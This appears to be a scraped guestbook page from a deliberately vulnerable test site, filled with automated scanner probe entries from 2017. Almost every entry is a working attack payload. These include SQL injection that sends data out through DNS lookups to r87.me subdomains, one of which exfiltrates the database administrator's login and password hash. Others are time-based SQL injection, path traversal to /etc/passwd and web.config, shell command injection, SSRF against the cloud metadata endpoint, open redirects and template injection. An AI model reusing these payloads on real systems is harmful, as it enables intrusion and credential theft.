+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ <% response.write(268409241-22) %> +

+
+

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.0.0.1:3306

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.100.11.2:22

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ "+response.write(268409241-22)+" +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ +response.write(268409241-22)' +

+
+

1;exec('xp_dirtree ''\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://169.254.169.254/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

1;exec('xp_dirtree ''\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ response.write(268409241-22)' +

+
+

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://aws.r87.me/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

127.0.0.1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

::1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

127.100.11.2/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

54.204.37.212/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

%27

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

testsparker.com/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://testsparker.com/elmah

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.0.0.1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me +

+
+

::1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.100.11.2/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

54.204.37.212/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

127.0.0.1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

::1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

127.100.11.2/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

54.204.37.212/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

testsparker.com/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://testsparker.com/trace.axd

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

https://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

///r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

/\r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ ]>&lfi; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ ]>&lfi; +

+
+

r87.com/?https://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

//r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ #{28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ${28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ http://example.com/? +ns: netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

#{28275*28275-(13)}

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

${28275*28275-(13)}

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ r87.com/n +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:05 AM +

+

+ php://filter//resource=http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ http://r87.com/n?.aspx +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ hTTp://r87.com/n +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://example.com/? +ns: netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

"+print localtime()*0+0xFFF9999-22+"

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

'+print localtime()*0+0xFFF9999-22+'

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" +

+
+

eval('print localtime()*0+0xFFF9999-22')

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

print localtime()*0+0xFFF9999-22

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

[php]print(int)0xFFF9999-22;[/php]

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

'{${print(int)0xFFF9999-22}}'

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

{php}print(int)0xFFF9999-22;{/php}

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

"+print(int)0xFFF9999-22+"

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

Guestbook.aspxďż˝

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

Guestbook.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

data:;base64,TlM3NzU0NTYxNDQ2NTc1

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ '+((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

file:///etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

/../../../../../../../../../../proc/versionďż˝.aspx

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ 1));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ '));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ expr 268409241 - 2 +

+
+

/../../../../../../../../../../proc/version

+

+ 8/23/2017 8:06:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ ping -c 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ expr 268409241 - 2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

/../../../../../../../../../../var/log/apache/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ');SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../var/log/apache2/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

/../../../../../../../../../../etc/httpd/logs/error_log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ 1);SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../etc/httpd/logs/error.log

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ ping -c 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ 1;SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ &ping -c 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ ';SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ '&ping -c 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ "&ping -c 25 127.0.0.1 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ ((select sleep(25)))a-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DBA

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DB9

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:42 AM +

+

+ &expr 268409241 - 2 & +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ '&expr 268409241 - 2 &' +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ "&expr 268409241 - 2 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

[ns](javascript:netsparker(0x003D91);)

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:37 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:37 AM +

+

+ +

+
+

'+netsparker(0x003D8D)+'

+

+ 8/23/2017 8:06:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

netsparker(0x003D8B);

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

netsparker(0x003D89)

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:35 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

ping -c 25 127.0.0.1

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

',netsparker(0x003D87),'

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

ping -c 25 127.0.0.1 &

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:34 AM +

+

